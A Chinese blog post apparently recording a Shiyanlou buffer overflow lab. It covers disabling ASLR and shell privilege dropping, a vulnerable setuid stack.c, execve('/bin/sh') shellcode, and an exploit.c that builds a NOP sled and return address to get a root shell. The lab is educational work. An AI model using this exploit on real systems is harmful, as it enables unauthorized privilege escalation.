【实验楼学习】之缓冲区溢出漏洞实验

2017-01-12 09:59:35来源:作者:硬糖人点击

下午看了实验楼的缓冲区溢出漏洞实验帖子,按照步骤做了一遍,也对缓冲区溢出漏洞的一些简单情况有了一点了解。

一.什么是shellcode

一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。

而如果覆盖返回地址的数据是另一个地址,那么程序就会跳向该地址,如果该地址

存放的是一段精心设计的代码用于实现其他功能,那么这段代码就是shellcode。

二.环境搭建以及攻击步骤

1.搭建可以编译32位程序的环境

sudo apt-get updatesudo apt-get install lib32z1 libc6-dev-i386sudo apt-get install lib32readline-gplv2-dev

2.linux系统反缓冲区溢出的防护手段

----随机内存初始地址

ubuntu等其他的linux系统,使用地址空间随机化来随机堆栈的初始地址,这使得猜测准确的内存地址相当困难,而猜测内存地址又是关键,为了方便练习可以关闭随机初始地址功能。

sudo sysctl -w kernel.randomize_va_space=0

----shell被调用时会放弃特权

为了进一步防范缓冲区溢出攻击以及其他利用shell程序的攻击,许多shell程序在被调用时自动放弃特权。因此,即使你能欺骗一个set-uid程序调用一个shell,也不能在这个shell中保持root权限,这个防护措施在/bin/bash中有体现。为了方便练习,练习中用zsh替代bash,通过符号链接进行设置。

sudo sucd /binrm shln -s zsh shexit

3.shellcode

#include <stdio.h>int main(){char *name[2];name[0] = ''/bin/sh/'';name[1] = NULL;execve(name[0], name, NULL);}

上面shellcode对应的汇编代码为

/x31/xc0/x50/x68"//sh"/x68"/bin"/x89/xe3/x50/x53/x89/xe1/x99/xb0/x0b/xcd/x80

4.漏洞程序以及编译须知

保存以下代码为"stack.c",保存到"/tmp"目录下

/* stack.c *//* This program has a buffer overflow vulnerability. *//* Our task is to exploit this vulnerability */#include <stdlib.h>#include <stdio.h>#include <string.h>int bof(char *str){char buffer[12];/* The following statement has a buffer overflow problem */strcpy(buffer, str);return 1;}int main(int argc, char **argv){char str[517];FILE *badfile;badfile = fopen("badfile", "r");fread(str, sizeof(char), 517, badfile);bof(str);printf("Returned Properly/n");return 1;}

通过代码可以知道,程序会读取一个名为badfile的文件,并将文件内容装入buffer。接下来编译该程序,设置SET-UID。

GCC编译器有个栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用

-fno-stack-protector 关闭这个机制,使用-z execstack 来允许使用栈。

sudo sugcc -m32 -g -z execstack -fno-stack-protector -o stack stack.cchmod u+s stackexit

5.攻击程序

将以下攻击代码保存为"exploit.c"文件,保存到"/tmp"目录下

/* exploit.c *//* A program that creates a file containing code for launching shell*/#include <stdlib.h>#include <stdio.h>#include <string.h>char shellcode[]="/x31/xc0" //xorl %eax,%eax"/x50" //pushl %eax"/x68""//sh" //pushl $0x68732f2f"/x68""/bin" //pushl $0x6e69622f"/x89/xe3" //movl %esp,%ebx"/x50" //pushl %eax"/x53" //pushl %ebx"/x89/xe1" //movl %esp,%ecx"/x99" //cdq"/xb0/x0b" //movb $0x0b,%al"/xcd/x80" //int $0x80;void main(int argc, char **argv){char buffer[517];FILE *badfile;/* Initialize buffer with 0x90 (NOP instruction) */memset(&buffer, 0x90, 517);/* You need to fill the buffer with appropriate contents here */strcpy(buffer,"/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x??/x??/x??/x??");strcpy(buffer+100,shellcode);/* Save the contents to the file "badfile" */badfile = fopen("./badfile", "w");fwrite(buffer, 517, 1, badfile);fclose(badfile);}

上面代码中,“/x??/x??/x??/x??”需要添加的是shellcode保存在内存中的地址,因为溢出后覆盖的地址就是此地址。

使用gdb调试

gdb stackdisass main

因为之前设置了初始地址随机为关,因此自己练习与文档的地址是一样的。

b *0x080484e8ri r $esp

最终确定str地址为0xffffd260

根据exploit.c的strcpy函数,我们可以计算得到shellcode地址为

0xffffd260(十六进制)+100(十进制)=0xffffd2c4(十六进制)

因此我们将exploit.c中的“/x??/x??/x??/x??”修改为/xc4/xd2/xff/xff

gcc -m32 -o exploit exploit.c

成功提权

三.最终练习以及想法

1.通过命令”sudo sysctl -w kernel.randomize_va_space=2“打开系统的地址空间随机化机制,重复用exploit程序攻击stack程序,观察能否攻击成功,能否获得root权限?

2.将/bin/sh重新指向/bin/bash(或/bin/dash),观察能否攻击成功,能否获得root权限?

3.需要思考以及研究的其他地方:

!!!C语言代码怎么转为汇编代码?

!!!需要去学习了解Linux下文件权限。

!!!最后怎么确定str地址的?

!!!上面这些C语言代码通读理解。

添加微信好友!

最新文章

123

最新摄影

微信扫一扫

第七城市微信公众平台